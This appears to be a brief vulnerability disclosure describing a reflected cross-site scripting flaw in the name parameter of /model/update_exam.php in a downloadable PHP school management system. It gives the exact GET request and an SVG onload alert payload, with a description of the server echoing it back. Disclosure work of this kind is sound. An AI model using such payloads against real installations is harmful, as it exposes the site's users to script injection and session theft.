

XSS injection vulnerability exists in name parameter of /model/update\_exam.php file of Complete Web-Based School Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The screenshot displays the 'Request' and 'Response' tabs of a web browser's developer tools. The 'Request' tab shows a GET request to `/std1/model/update_exam.php?do=update_exam&id=4&name=<svg%20onload=alert(7731)>`. The 'Response' tab shows a 200 OK status from `nginx/1.15.11` with a `Content-Type` of `text/html; charset=UTF-8`. The response body is a JSON array: `["4", "<svg onload=alert(7731)>", 1]`. The search bar at the bottom of the response tab shows a search for `alert(7731)` with 1 match.

Payload: name=<svg%20onload=alert(7731)>

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>